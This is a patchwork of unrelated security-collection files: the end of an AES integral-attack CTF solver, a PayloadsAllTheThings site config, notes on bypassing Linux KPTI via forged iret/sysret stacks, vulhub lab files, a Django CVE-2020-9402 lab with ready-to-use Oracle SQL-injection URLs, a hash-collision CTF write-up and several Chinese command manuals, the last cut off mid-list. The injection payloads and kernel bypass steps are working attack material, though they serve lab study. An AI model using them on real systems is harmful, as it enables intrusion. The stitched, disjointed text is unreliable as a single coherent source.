w[j][0] = w[j-Nk][0] ^ sbox[w[j-1][1] ^ w[j-2][1]] ^ Rcon[Nr - j/Nk][0]
for i in range(1,4):
w[j][i] = w[j-Nk][i] ^ sbox[w[j-1][(i+1) % 4] ^ w[j-2][(i+1) % 4]]
else:
w[j] = XorWords(w[j-Nk], w[j-Nk-1])
j = j+1
# for i in range(20):
# printWord(w[i])
m = []
for i in range(16,20):
for j in range(4):
m.append(w[i][j])
return m
######################
# Printing functions #
######################
def printState(s):
print "State:"
for i in range(len(s)):
row = s[i]
rowstring = ""
for j in range(len(row)):
rowstring += "{0:02x} ".format(row[j])
print rowstring
print "\n"
def printKey(ks):
for i in range(len(ks)):
row = ks[i]
rowstring = ""
for j in range(len(row)):
#rowstring += "{0:02x} ".format(row[j])
rowstring += "{0:4} ".format(row[j])
print rowstring
print "\n"
###
# Main - attack code goes here
###
key = integral()
flag1 = 'af93ceae1f1e7a1326d60551973c461b'.decode('hex')
flag2 = 'c9b1569c2cdfd55ac6ca334631fb1973'.decode('hex')
flag1 = [ord(c) for c in flag1]
flag2 = [ord(c) for c in flag2]
flag = decrypt4rounds(flag1, key) + decrypt4rounds(flag2, key)
print ''.join(chr(c) for c in flag)
|
sec-knowleage
|
[算法](https://github.com/CyC2018/CS-Notes/blob/master/notes/%E7%AE%97%E6%B3%95%20-%20%E7%9B%AE%E5%BD%95.md)
|
sec-knowleage
|
site_name: Payloads All The Things
site_description: 'Payloads All The Things, a list of useful payloads and bypasses for Web Application Security'
# copyright: © 2016 PATT
# logo: 'images/site_logo.png'
# favicon: 'images/favicon.png'
theme:
name: material
icon:
repo: fontawesome/brands/github
palette:
# Palette toggle for light mode
- media: "(prefers-color-scheme: light)"
scheme: default
toggle:
icon: material/brightness-7
name: Switch to dark mode
# Palette toggle for dark mode
- media: "(prefers-color-scheme: dark)"
scheme: slate
toggle:
icon: material/brightness-4
name: Switch to light mode
features:
- content.code.copy
- navigation.tracking
- navigation.top
# - toc.integrate
# - navigation.path
extra_css:
- custom.css
markdown_extensions:
- tables
- attr_list
- admonition
- def_list
- pymdownx.details
- pymdownx.superfences
- pymdownx.snippets
- pymdownx.inlinehilite
- pymdownx.highlight:
anchor_linenums: true
- pymdownx.tasklist:
custom_checkbox: true
- pymdownx.emoji:
emoji_index: !!python/name:materialx.emoji.twemoji
emoji_generator: !!python/name:materialx.emoji.to_svg
repo_url: https://github.com/swisskyrepo/PayloadsAllTheThings/
edit_uri: edit/master/
plugins:
- search
- git-revision-date-localized
|
sec-knowleage
|
# KPTI - Kernel Page Table Isolation
## 介绍
KPTI 机制最初的主要目的是为了缓解 KASLR 的绕过以及 CPU 侧信道攻击。
在 KPTI 机制中,内核态空间的内存和用户态空间的内存的隔离进一步得到了增强。
- 内核态中的页表包括用户空间内存的页表和内核空间内存的页表。
- 用户态的页表只包括用户空间内存的页表以及必要的内核空间内存的页表,如用于处理系统调用、中断等信息的内存。
在 x86_64 的 PTI 机制中,内核态的用户空间内存映射部分被全部标记为不可执行。也就是说,之前不具有 SMEP 特性的硬件,如果开启了 KPTI 保护,也具有了类似于 SMEP 的特性。此外,SMAP 模拟也可以以类似的方式引入,只是现在还没有引入。因此,在目前开启了 KPTI 保护的内核中,如果没有开启 SMAP 保护,那么内核仍然可以访问用户态空间的内存,只是不能跳转到用户态空间执行 Shellcode。
Linux 4.15 中引入了 KPTI 机制,并且该机制被反向移植到了 Linux 4.14.11,4.9.75,4.4.110。
## 发展历史
TODO。
## 实现
TODO。
## 开启与关闭
如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `kpti=1` 来开启 KPTI。
如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `nopti` 来关闭 KPTI。
## 状态查看
我们可以通过以下两种方式来查看 KPTI 机制是否开启。
```shell
/home/pwn # dmesg | grep 'page table'
[ 0.000000] Kernel/User page tables isolation: enabled
/home/pwn # cat /proc/cpuinfo | grep pti
fpu_exception : yes
flags : ... pti smep smap
```
## Attack KPTI
KPTI 机制和 SMAP 、SMEP不太一样,由于与源码紧密结合,似乎没有办法在运行时刻关闭。
### 修改页表
在开启 KPTI 后,用户态空间的所有数据都被标记了 NX 权限,但是,我们可以考虑修改对应的页表权限,使其拥有可执行权限。当内核没有开启 smep 权限时,我们在修改了页表权限后就可以返回到用户态,并执行用户态的代码。
### SWITCH_TO_USER_CR3_STACK
在开启 KPTI 机制后,用户态进入到内核态时,会进行页表切换;当从内核态恢复到用户态时,也会进行页表切换。那么如果我们可以控制内核执行返回用户态时所执行的切换页表的代码片段,也就可以正常地返回到用户态。
通过分析内核态到用户态切换的代码,我们可以得知,页表的切换主要靠`SWITCH_TO_USER_CR3_STACK` 汇编宏。因此,我们只需要能够调用这部分代码即可。
```assembly
.macro SWITCH_TO_USER_CR3_STACK scratch_reg:req
pushq %rax
SWITCH_TO_USER_CR3_NOSTACK scratch_reg=\scratch_reg scratch_reg2=%rax
popq %rax
.endm
.macro SWITCH_TO_USER_CR3_NOSTACK scratch_reg:req scratch_reg2:req
ALTERNATIVE "jmp .Lend_\@", "", X86_FEATURE_PTI
mov %cr3, \scratch_reg
ALTERNATIVE "jmp .Lwrcr3_\@", "", X86_FEATURE_PCID
/*
* Test if the ASID needs a flush.
*/
movq \scratch_reg, \scratch_reg2
andq $(0x7FF), \scratch_reg /* mask ASID */
bt \scratch_reg, THIS_CPU_user_pcid_flush_mask
jnc .Lnoflush_\@
/* Flush needed, clear the bit */
btr \scratch_reg, THIS_CPU_user_pcid_flush_mask
movq \scratch_reg2, \scratch_reg
jmp .Lwrcr3_pcid_\@
.Lnoflush_\@:
movq \scratch_reg2, \scratch_reg
SET_NOFLUSH_BIT \scratch_reg
.Lwrcr3_pcid_\@:
/* Flip the ASID to the user version */
orq $(PTI_USER_PCID_MASK), \scratch_reg
.Lwrcr3_\@:
/* Flip the PGD to the user version */
orq $(PTI_USER_PGTABLE_MASK), \scratch_reg
mov \scratch_reg, %cr3
.Lend_\@:
.endm
```
事实上,我们不仅希望切换页表,还希望能够返回到用户态,因此我们这里也需要复用内核中返回至用户态的代码。内核返回到用户态主要有两种方式:iret 和 sysret。下面详细介绍。
#### iret
```assembly
SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)
#ifdef CONFIG_DEBUG_ENTRY
/* Assert that pt_regs indicates user mode. */
testb $3, CS(%rsp)
jnz 1f
ud2
1:
#endif
POP_REGS pop_rdi=0
/*
* The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY
/* Copy the IRET frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */
/* Push user RDI on the trampoline stack. */
pushq (%rdi)
/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN
```
可以看到,通过伪造如下的栈,然后跳转到 `movq %rsp, %rdi`,我们就可以同时切换页表和返回至用户态。
```
fake rax
fake rdi
RIP
CS
EFLAGS
RSP
SS
```
#### sysret
在使用 sysret 时,我们首先需要确保 rcx 和 r11 为如下的取值
```
rcx, save the rip of the code to be executed when returning to userspace
r11, save eflags
```
然后构造如下的栈
```
fake rdi
rsp, the stack of the userspace
```
最后跳转至 entry_SYSCALL_64 的如下代码,即可返回到用户态。
```assembly
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
popq %rdi
popq %rsp
swapgs
sysretq
```
### signal handler
我们也可以考虑在用户态注册 signal handler 来执行位于用户态的代码。在这种方式下,我们无需切换页表。
## 参考
- https://github.com/pr0cf5/kernel-exploit-practice/tree/master/bypass-smep#bypassing-smepkpti-via-rop
- https://outflux.net/blog/archives/2018/02/05/security-things-in-linux-v4-15/
|
sec-knowleage
|
package org.vulhub.fastjsondemo;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.support.config.FastJsonConfig;
import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.http.HttpMessageConverters;
import org.springframework.context.annotation.Bean;
import org.springframework.http.converter.HttpMessageConverter;
@SpringBootApplication
public class FastjsondemoApplication {
public static void main(String[] args) {
SpringApplication.run(FastjsondemoApplication.class, args);
}
@Bean
public HttpMessageConverters fastJsonHttpMessageConverters() {
FastJsonHttpMessageConverter fastConverter = new FastJsonHttpMessageConverter();
FastJsonConfig fastJsonConfig = new FastJsonConfig();
fastJsonConfig.setSerializerFeatures(SerializerFeature.PrettyFormat);
fastConverter.setFastJsonConfig(fastJsonConfig);
HttpMessageConverter<?> converter = fastConverter;
return new HttpMessageConverters(converter);
}
}
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH COMM 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
comm \- 按行比较两个已排序的文件
.SH 概述
\fBcomm\fP [\fI\,选项\/\fP]... \fI\,文件1 文件2\/\fP
.SH 描述
.\" Add any additional description here
.PP
逐行比较已排序的文件文件1 和文件2。
.PP
当文件1 或者文件2 中有且只有一个是“\-”时,从标准输入读取。
.PP
如果不附带选项,程序会生成三列输出。第一列包含文件1 特有的行,第二列包含 文件2 特有的行,而第三列包含两个文件共有的行。
.TP
\fB\-1\fP
不输出文件1 特有的行
.TP
\fB\-2\fP
不输出文件2 特有的行
.TP
\fB\-3\fP
不输出两个文件共有的行
.TP
\fB\-\-check\-order\fP
检查输入是否被正确排序,即使所有输入行均成对
.TP
\fB\-\-nocheck\-order\fP
不检查输入是否被正确排序
.TP
\fB\-\-output\-delimiter\fP=\fI\,STR\/\fP
按照指定的 STR 分隔各列
.TP
\fB\-\-total\fP
输出一份摘要信息
.TP
\fB\-z\fP, \fB\-\-zero\-terminated\fP
以 NUL 字符而非换行符作为行尾分隔符
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
注意,比较操作遵从“LC_COLLATE”所指定的规则
.SH 范例
.TP
comm \-12 文件1 文件2
只打印在文件1 和文件2 中都有的行。
.TP
comm \-3 文件1 文件2
打印在文件1 中有,而文件2 中没有的行。反之亦然。
.SH 作者
由 Richard M. Stallman 和 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBjoin\fP(1), \fBuniq\fP(1)
.PP
.br
完整文档请见:<https://www.gnu.org/software/coreutils/comm>
.br
或者在本地使用: info \(aq(coreutils) comm invocation\(aq
|
sec-knowleage
|
type
===
显示指定命令的类型。
## 概要
```shell
type [-afptP] name [name ...]
```
## 主要用途
- 显示要查找的命令的信息。
- 控制查找范围和行为。
- 显示要查找的命令优先级最高的类型。
## 选项
```shell
-a:在环境变量PATH中查找并显示所有包含name的可执行文件路径;当'-p'选项没有同时给出时,如果在别名、关键字,函数,内建的信息中存在name,则一并显示。
-f:排除对shell函数的查找。
-p:如果name在执行'type -t name'返回的不是'file',那么什么也不返回;否则会在环境变量PATH中查找并返回可执行文件路径。
-P:即使要查找的name是别名、内建、函数中的一个,仍然会在环境变量PATH中查找并返回可执行文件路径。
-t:根据name的类型返回一个单词(别名,关键字,函数,内建,文件),否则返回空值。
```
## 参数
name:要查找的命令,可以为多个。
## 返回值
当指定的命令可以找到时返回成功,如果有没找到的返回失败。
## 例子
```shell
接下来要用到的例子假设'~/.bashrc'文件定义了以下的内容:
alias ls='ls --color=auto'
mybash(){ vim ~/.bashrc; }
而且执行环境里没有使用enable禁用内建命令。
```
```shell
type -a mybash
# 输出
mybash is a function
mybash ()
{
vim ~/.bashrc
}
type -a -f mybash
# 输出(因为排除了函数,所以报错)
bash: type: mybash: not found
type -a -p mybash
# 输出为空(因为排除了函数,所以什么也不返回)
type -a ls
# 输出
ls is aliased to `ls --color=suto'
ls is /usr/bin/ls
ls is /bin/ls
type -a -p ls
# 输出
/usr/bin/ls
/bin/ls
```
```shell
# '-f'不会影响'-P'的范围,'-f'不建议和'-p'使用。
# 注意:printf同时是内建命令以及可执行文件(GNU coreutils),优先作为内建处理。
type -p printf
# 输出为空
type -P printf
# 输出
/usr/bin/printf
/bin/printf
```
```shell
# 如果有多个类型,那么输出优先级最高的类型。
type -t ls
# 输出
alias
type -t for
# 输出(bash关键字)
keyword
type -t mybash
# 输出
function
type -t -f mybash
# 输出空值
type -t printf
# 输出(bash内建优先级高)
builtin
type -t chmod
# 输出
file
```
### 注意
1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
2. 命令优先级问题请查看`builtin`命令。
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "ANALYZE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
ANALYZE \- 收集与数据库有关的统计
.SH SYNOPSIS
.sp
.nf
ANALYZE [ VERBOSE ] [ \fItable\fR [ (\fIcolumn\fR [, ...] ) ] ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBANALYZE\fR 收集有关 PostgreSQL 表的内容的统计,然后把结果保存在系统表 pg_statistic 里。随后,查询规划器就可以使用这些统计帮助判断查询的最有效的规划。
.PP
如果没有参数,ANALYZE 检查在当前数据库里的所有表。 如果有参数,ANALYZE 只检查那个表。 你还可以给出一列字段名字,这个时候只收集那些字段的统计信息。
.SH "PARAMETERS 参数"
.TP
\fBVERBOSE\fR
打开处理过程信息的显示。
.TP
\fB\fItable\fB\fR
要分析的特定表(可能用模式名修饰)的名字。缺省是当前数据库里所有表。
.TP
\fB\fIcolumn\fB\fR
要分析的特定字段的名字。缺省是所有字段。
.SH "OUTPUTS 输出"
.PP
如果声明了 VERBOSE,\fBANALYZE\fR 发出进度信息,表明当前正在处理的是哪行。 同时打印有关改表的很多其它信息。
.SH "NOTES 注意"
.PP
周期性地运行 ANALYZE,或者在对表的大部分内容做了更改之后马上运行它是个好习惯, 准确的统计信息将帮助规划器选择最合适的查询规划,并因此而改善查询处理的速度。 一种比较经常采用的策略是每天在低负荷的时候运行一次 VACUUM [\fBvacuum\fR(7)]
和 ANALYZE。
.PP
和 VACUUM FULL 不同的是, ANALYZE 只需要在目标表上有一个读取锁, 因此它可以和表上的其它活动并行地运行。
.PP
收集的统计信息通常包括一个每字段最常用数值的列表以及一个包线图,显示每个字段里数据的近似分布。 如果 ANALYZE 认为它们都没有什么用, (比如,在一个唯一键字的字段上没有公共的数值)或者是该字段数据类型不支持相关的操作符, 那么它们都可以忽略。在 Chapter 21 ``Routine Database Maintenance'' 中有关于统计的更多信息。
.PP
对于大表,ANALYZE 采集表内容的一个随机的抽样做统计,而不是检查每一行。 这样就保证了即使是在很大的表上,我们也只需要很少的一些时间就可以完成分析。 不过,要注意的是统计只是近似的结果,而且每次运行ANALYZE都会导致 EXPLAIN 显示的规划器的预期开销有一些小变化, 即使表内容实际上没有改变也这样。在很小的概率的情况下,这个不确定的行为会导致查询优化器在不同 ANALYZE 之间选择不同的查询规划。为了避免这个问题,可以提高 ANALYZE 收集的统计数量,像下面描述的那样。
.PP
分析的广度可以通过用调整 default_statistics_target 参变量, 或者是以每字段为基础通过用 ALTER TABLE ... ALTER COLUMN ... SET STATISTICS (参阅 ALTER TABLE [\fBalter_table\fR(7)]) 设置每字段的统计目标来控制。目标数值设置最常用数值列表中的记录的最大数目以及包线图中的最大块数。 缺省的目标数值是 10,不过我们可以调节这个数值获取规划器计算精度和 ANALYZE 运行所需要的时间以及 pg_statistic 里面占据的空间数目之间的平衡。 特别是,把统计目标设置为零就关闭了该字段的统计收集。 这么做对那些从来不参与到查询的 WHERE,GROUP BY,或者 ORDER BY 子句里的字段是很有用的,因为规划器不会使用到这样的字段上的统计。
.PP
在被分析的字段中最大的统计目标决定为统计采样的表中的行的数目。 增大目标会导致做 ANALYZE 的时候成比例地增大对时间和空间的需求。
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有 ANALYZE 语句。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# 终端数据挖掘与威胁狩猎
本文资料整理自[《Provenance Mining:终端溯源数据挖掘与威胁狩猎》](https://mp.weixin.qq.com/s/Te7c3HvCcxX3ci9HTn8lEQ)一文,仅作学习与分享,如有侵权请告知,谢谢!
## 回顾
### 什么是威胁狩猎?
威胁狩猎(Threat Hunting, TH),通俗地讲,就是以系统会被攻破为假设,进行的一系列数据调查,进而能够识别隐蔽的未知威胁,从而对事件进行溯源和场景重建。最终强化规则、全面地提高安全防护knowledge的过程。

Fig. 威胁狩猎典型范式[1]
这么看似乎和渗透测试一样,也是通过模拟入侵的方式,进而XXXX。但是我们也需要先仔细地了解渗透测试:**渗透测试**除了定位漏洞外,还需要进一步尝试对漏洞进行攻击利用、提权以及维持对目标系统的控制权。
这样看的话,我们可以总结:
| 评估方法 | 以什么为驱动 | 以什么为假设 | 以什么为目的 |
| -------- | ------------ | ------------------------------------------------ | ---------------------------------- |
| 威胁狩猎 | 数据 | 系统整体会被攻陷(侧重于数据系统、应用系统本身) | 强化系统整体安全规则和安全知识 |
| 渗透测试 | 目标 | 系统某一些部分会被入侵(更全面,包括人员部分) | 强化系统整体,加固系统某些具体部分 |
## 溯源数据(Provenance)
> 面向高级威胁分析场景终端大数据分析,如EDR、集成终端数据的分析平台等应运而生。
> 溯源数据(Provenance)是终端侧数据的关键组成,当前操作系统(如Linux、Windows等)已具备高线溯源数采集的能力。有效的溯源数据挖掘方法,能够支撑威胁狩猎的多种任务场景。
> 如下图所示,Provenance能够忠实记录终端上实体的行为逻辑依赖关系,自然形成溯源数据图(Provenance Graph,简称溯源图)。所记录的实体,包括文件(菱形)、网络(椭圆)、进程(矩形)等维度;根据实体对的类型,实体间关系又包括文件读写、进程创建、网络连接等等。在溯源数据完整有效采集的情况下,通过溯源图的后向追溯(backward-trace)和前向追溯(forward-trace),能够有效弥补网络侧的数据盲点,实现攻击事件的溯源与取证。

Fig. 溯源数据图
### 思考
- 这里的溯源与传统的应急响应溯源区别在哪里?
- 一般来说,威胁情报建设,这块的工作常常是在甲方发生,但是现在也有越来越多的甲方在做这一块的事情。
- 在企业的业务场景下,需要处理数据量是非常大的,传统的应急响应工作,大多需要人工进行分析。对于威胁情报这块的工作,始终明确一点:**以数据为驱动**。对这一块的研究,其实最终的目的就是实现一个**自动化**的过程。
- 相同点是:都针对攻击事件,进行一个完整的入侵手法复原与取证
## Reference
[1] Provenance Mining:终端溯源数据挖掘与威胁狩猎,https://mp.weixin.qq.com/s/Te7c3HvCcxX3ci9HTn8lEQ
|
sec-knowleage
|
version: '2'
services:
solr:
command: solr-demo
image: vulhub/solr:7.0.1
ports:
- "8983:8983"
|
sec-knowleage
|
php
===
PHP语言的命令行接口
## 补充说明
**php命令** 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。
### 语法
```shell
php(选项)(参数)
```
### 选项
```shell
-a:进入交互模式;
-c:指定“php.ini”的搜索路径。
```
### 参数
文件:要执行的php脚本。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH WHOAMI 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
whoami \- 显示有效用户名
.SH 概述
\fBwhoami\fP [\fI\,选项\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
显示与当前的有效用户 ID 相关联的用户名。等价于 id \fB\-un\fP。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Richard Mlynarik 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/whoami>
.br
或者在本地使用: info \(aq(coreutils) whoami invocation\(aq
|
sec-knowleage
|
# Django GIS SQL注入漏洞(CVE-2020-9402)
Django在2020年3月4日发布了一个安全更新,修复了在GIS 查询功能中存在的SQL注入漏洞。
参考链接:
- https://www.djangoproject.com/weblog/2020/mar/04/security-releases/
该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。
## 漏洞环境
执行如下命令编译及启动一个存在漏洞的Django 3.0.3:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8000`即可看到Django默认首页。
## 漏洞复现
### 漏洞一
首先访问`http://your-ip:8000/vuln/`。
在该网页中使用`get`方法构造`q`的参数,构造SQL注入的字符串`20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1`
http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
可见,括号已注入成功,SQL语句查询报错:

### 漏洞二
访问`http://your-ip:8000/vuln2/`。
在该网页中使用`get`方法构造`q`的参数,构造出SQL注入的字符串`0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --`
http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--

|
sec-knowleage
|
whoami
===
打印当前有效的用户ID对应的名称
## 概要
```shell
whoami [OPTION]...
```
## 主要用途
- 打印当前有效的用户ID对应的名称。
## 选项
```shell
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
```
## 返回值
返回0表示成功,返回非0值表示失败。
## 例子
```shell
[root@localhost ~]# whoami
root
```
### 注意
1. 该命令等价于 `id -un`。
2. 注意区分 `whoami` 和 `logname` 这两个命令;比如我们以用户 `root` 打开的终端,然后切换到了用户 `user2`。此时, `whoami`返回的是当前用户 `user2`, `logname` 返回的是 `root`,大家可以自行实践验证一下。
3. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 whoami`,`info coreutils 'whoami invocation'`。
|
sec-knowleage
|
# TokyoWesterns - `easy_hash` (75pt / 226 solves)
We are provided with the source code:
```python
import struct
import os
MSG = b'twctf: please give me the flag of 2020'
assert os.environ['FLAG']
def easy_hash(x):
m = 0
for i in range(len(x) - 3):
m += struct.unpack('<I', x[i:i + 4])[0]
m = m & 0xffffffff
return m
def index(request):
message = request.get_data()
if message[0:7] != b'twctf: ' or message[-4:] != b'2020':
return b'invalid message format: ' + message
if message == MSG:
return b'dont cheet'
msg_hash = easy_hash(message)
expected_hash = easy_hash(MSG)
if msg_hash == expected_hash:
return 'Congrats! The flag is ' + os.environ['FLAG']
return 'Failed: easy_hash({}) is {}. but expected value is {}.'.format(message, msg_hash, expected_hash)
```
The hashing function adds 4-byte windows of the input string, mod 2³².
Thus, the hash won't change if we increment one of the bytes while decrementing
another:
```
$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: qleare give me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}
```
|
sec-knowleage
|
tar
===
将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。
## 补充说明
**tar命令** 可以为linux的文件和目录创建档案。利用tar,可以为某一特定文件创建档案(备份文件),也可以在档案中改变文件,或者向档案中加入新的文件。tar最初被用来在磁带上创建档案,现在,用户可以在任何设备上创建档案。利用tar命令,可以把一大堆的文件和目录全部打包成一个文件,这对于备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。
首先要弄清两个概念:打包和压缩。打包是指将一大堆文件或目录变成一个总的文件;压缩则是将一个大的文件通过一些压缩算法变成一个小文件。
为什么要区分这两个概念呢?这源于Linux中很多压缩程序只能针对一个文件进行压缩,这样当你想要压缩一大堆文件时,你得先将这一大堆文件先打成一个包(tar命令),然后再用压缩程序进行压缩(gzip bzip2命令)。
### 语法
```shell
tar [选项...] [FILE]...
```
### 选项
```shell
-A, --catenate, --concatenate 追加 tar 文件至归档
-c, --create 创建一个新归档
-d, --diff, --compare 找出归档和文件系统的差异
--delete 从归档(非磁带!)中删除
-r, --append 追加文件至归档结尾
-t, --list 列出归档内容
--test-label 测试归档卷标并退出
-u, --update 仅追加比归档中副本更新的文件
-x, --extract, --get 从归档中解出文件
操作修饰符:
--check-device 当创建增量归档时检查设备号(默认)
-g, --listed-incremental=FILE 处理新式的 GNU 格式的增量备份
-G, --incremental 处理老式的 GNU 格式的增量备份
--ignore-failed-read
当遇上不可读文件时不要以非零值退出
--level=NUMBER 所创建的增量列表归档的输出级别
-n, --seek 归档可检索
--no-check-device 当创建增量归档时不要检查设备号
--no-seek 归档不可检索
--occurrence[=NUMBER] 仅处理归档中每个文件的第 NUMBER
个事件;仅当与以下子命令 --delete,
--diff, --extract 或是 --list
中的一个联合使用时,此选项才有效。而且不管文件列表是以命令行形式给出或是通过
-T 选项指定的;NUMBER 值默认为 1
--sparse-version=MAJOR[.MINOR]
设置所用的离散格式版本(隐含
--sparse)
-S, --sparse 高效处理离散文件
重写控制:
-k, --keep-old-files don't replace existing files when extracting,
treat them as errors
--keep-directory-symlink preserve existing symlinks to directories when
extracting
--keep-newer-files
不要替换比归档中副本更新的已存在的文件
--no-overwrite-dir 保留已存在目录的元数据
--overwrite 解压时重写存在的文件
--overwrite-dir 解压时重写已存在目录的元数据(默认)
--recursive-unlink 解压目录之前先清除目录层次
--remove-files 在添加文件至归档后删除它们
--skip-old-files don't replace existing files when extracting,
silently skip over them
-U, --unlink-first 在解压要重写的文件之前先删除它们
-W, --verify 在写入以后尝试校验归档
选择输出流:
--ignore-command-error 忽略子进程的退出代码
--no-ignore-command-error
将子进程的非零退出代码认为发生错误
-O, --to-stdout 解压文件至标准输出
--to-command=COMMAND
将解压的文件通过管道传送至另一个程序
操作文件属性:
--atime-preserve[=METHOD]
在输出的文件上保留访问时间,要么通过在读取(默认
METHOD=‘replace’)后还原时间,要不就不要在第一次(METHOD=‘system’)设置时间
--delay-directory-restore
直到解压结束才设置修改时间和所解目录的权限
--group=名称 强制将 NAME
作为所添加的文件的组所有者
--mode=CHANGES 强制将所添加的文件(符号)更改为权限
CHANGES
--mtime=DATE-OR-FILE 从 DATE-OR-FILE 中为添加的文件设置
mtime
-m, --touch 不要解压文件的修改时间
--no-delay-directory-restore
取消 --delay-directory-restore 选项的效果
--no-same-owner
将文件解压为您所有(普通用户默认此项)
--no-same-permissions
从归档中解压权限时使用用户的掩码位(默认为普通用户服务)
--numeric-owner 总是以数字代表用户/组的名称
--owner=名称 强制将 NAME
作为所添加的文件的所有者
-p, --preserve-permissions, --same-permissions
解压文件权限信息(默认只为超级用户服务)
--preserve 与 -p 和 -s 一样
--same-owner
尝试解压时保持所有者关系一致(超级用户默认此项)
-s, --preserve-order, --same-order
member arguments are listed in the same order as
the files in the archive
Handling of extended file attributes:
--acls Enable the POSIX ACLs support
--no-acls Disable the POSIX ACLs support
--no-selinux Disable the SELinux context support
--no-xattrs Disable extended attributes support
--selinux Enable the SELinux context support
--xattrs Enable extended attributes support
--xattrs-exclude=MASK specify the exclude pattern for xattr keys
--xattrs-include=MASK specify the include pattern for xattr keys
设备选择和切换:
-f, --file=ARCHIVE 使用归档文件或 ARCHIVE 设备
--force-local
即使归档文件存在副本还是把它认为是本地归档
-F, --info-script=名称, --new-volume-script=名称
在每卷磁带最后运行脚本(隐含 -M)
-L, --tape-length=NUMBER 写入 NUMBER × 1024 字节后更换磁带
-M, --multi-volume 创建/列出/解压多卷归档文件
--rmt-command=COMMAND 使用指定的 rmt COMMAND 代替 rmt
--rsh-command=COMMAND 使用远程 COMMAND 代替 rsh
--volno-file=FILE 使用/更新 FILE 中的卷数
设备分块:
-b, --blocking-factor=BLOCKS 每个记录 BLOCKS x 512 字节
-B, --read-full-records 读取时重新分块(只对 4.2BSD 管道有效)
-i, --ignore-zeros 忽略归档中的零字节块(即文件结尾)
--record-size=NUMBER 每个记录的字节数 NUMBER,乘以 512
选择归档格式:
-H, --format=FORMAT 创建指定格式的归档
FORMAT 是以下格式中的一种:
gnu GNU tar 1.13.x 格式
oldgnu GNU 格式 as per tar <= 1.12
pax POSIX 1003.1-2001 (pax) 格式
posix 等同于 pax
ustar POSIX 1003.1-1988 (ustar) 格式
v7 old V7 tar 格式
--old-archive, --portability
等同于 --format=v7
--pax-option=关键字[[:]=值][,关键字[[:]=值]]...
控制 pax 关键字
--posix 等同于 --format=posix
